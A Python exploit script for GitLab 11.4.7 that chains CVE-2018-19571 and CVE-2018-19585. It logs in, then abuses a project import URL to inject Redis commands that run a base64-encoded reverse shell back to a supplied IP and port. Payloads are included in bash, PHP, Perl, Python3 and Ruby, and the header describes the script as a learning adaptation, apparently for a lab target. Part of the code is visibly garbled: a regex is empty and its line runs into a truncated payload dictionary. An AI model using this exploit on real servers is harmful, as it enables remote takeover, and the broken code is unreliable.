#!/usr/bin/python3
# Script by @algafix
# Simplications and changes for learning purposes.
# Based on the version from: Sam Redmond, Tam Lai Yin
# https://github.com/ctrlsam/GitLab-11.4.7-RCE
# CVE: CVE-2018-19571 + CVE-2018-19585
from random import randint
from argparse import RawTextHelpFormatter
import requests
import argparse
import base64
import re
########## GENERAL CONFIG ###########
parser = argparse.ArgumentParser(description='GitLab 11.4.7 RCE', formatter_class=RawTextHelpFormatter)
parser.add_argument('-u', help='GitLab Username/Email', required=True)
parser.add_argument('-p', help='Gitlab Password', required=True)
parser.add_argument('-g', help='Gitlab URL with port http://127.0.0.1:5080', required=True)
parser.add_argument('-l', help='Reverse shell ip', required=True)
parser.add_argument('-P', help='Reverse shell port', required=True)
parser.add_argument('L', metavar='lang', nargs='?', help='Language for the reverse shell. Default nc_e\nSupported: nc_e, bash, perl, python3, ruby, php')
args = parser.parse_args()
user = args.u
pwd = args.p
url = args.g
local_ip = args.l
local_port = args.P
shell_lang = ('nc_e' if args.L == None else args.L)
auth_token_regex = re.compile(r'')
namespace_id_regex = re.compile(r'& /dev/tcp/{local_ip}/{local_port} 0>&1',
'exec_string': 'echo {payload} | base64 -d | /bin/bash'
},
'php': {
'safe': False,
'raw_payload': '$sock=fsockopen("{local_ip}",{local_port});$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);',
'exec_string': 'echo {payload} | base64 -d | php'
},
'perl': {
'safe': False,
'raw_payload': 'use Socket;$i="{local_ip}";$p={local_port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}};',
'exec_string': 'echo {payload} | base64 -d | perl'
},
'python3': {
'safe': False,
'raw_payload': 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{local_ip}",{local_port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);',
'exec_string': 'echo {payload} | base64 -d | python3'
},
'ruby': {
'safe': False,
'raw_payload': 'exit if fork;c=TCPSocket.new("{local_ip}",{local_port});loop{{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){{|io|c.print io.read}}))rescue c.puts "failed: #{{$_}}"}}',
'exec_string': 'echo {payload} | base64 -d | ruby -rsocket'
},
}
def url_encode(b64_String):
return b64_String.replace('=', '%3D').replace('+', '%2B')
def get_payload(language):
try:
payload_dict = payloads_dict[language]
except KeyError:
exit(f"[-] No shell defined for language {language}")
if payload_dict['safe'] == True:
payload = payload_dict['raw_payload'].format(local_ip=local_ip, local_port=local_port)
else:
raw_payload = payload_dict['raw_payload'].format(local_ip=local_ip, local_port=local_port)
base64_payload = base64.b64encode(raw_payload.encode()).decode()
base64_payload = url_encode(base64_payload)
payload = payload_dict['exec_string'].format(payload=base64_payload)
return payload
############## LOGIN ################
request = requests.Session()
url_login = url + '/users/sign_in'
try:
login_page = request.get(url_login)
except Exception as e:
exit(f"Error accessing {url_login}")
if login_page.status_code != 200:
exit(f"[-] GitLab error: {login_page.status_code}")
auth_token = re.findall(auth_token_regex, login_page.text)[0]
login_data = {
'authenticity_token': auth_token,
'user[login]': user,
'user[password]': pwd,
'user[remember_me]': 0
}
login_post = request.post(url_login, data=login_data)
if login_post.status_code != 200:
exit(f"[-] Login general error: {login_post.status_code} {url_login}")
elif "Invalid Login" in login_post.text:
exit(f"[-] Login error: {user} / {pwd}")
print("[+] Login successful.")
############ PROJECT CREATION AND EXPLOIT #########
url_project = url + '/projects'
url_new_project = 'http://10.10.10.220:5080/projects/new'
project_page = request.get(url_new_project)
project_name = "project" + str(randint(1000,9999))
namespace_id = re.findall(namespace_id_regex, project_page.text)[-1]
auth_token = re.findall(auth_token_regex, project_page.text)[-1]
auth_token = url_encode(auth_token)
print(f'[+] Creating payload in {shell_lang}')
payload = get_payload(shell_lang)
exploit_form = \
"""utf8=%E2%9C%93&authenticity_token=""" + auth_token + """&project%5Bimport_url%5D=git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|"""+ payload +"""\\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"
exec
exec
/ssrf.git&project%5Bci_cd_only%5D=false&project%5Bname%5D="""+ project_name +"""&project%5Bnamespace_id%5D="""+ namespace_id +"""&project%5Bpath%5D="""+ project_name +"""&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0"""
project_post = request.post(url_project, data=exploit_form, verify=False)
if project_post.status_code != 200:
exit("[-] Problem in the project creation.")
print("[+] Payload sent.")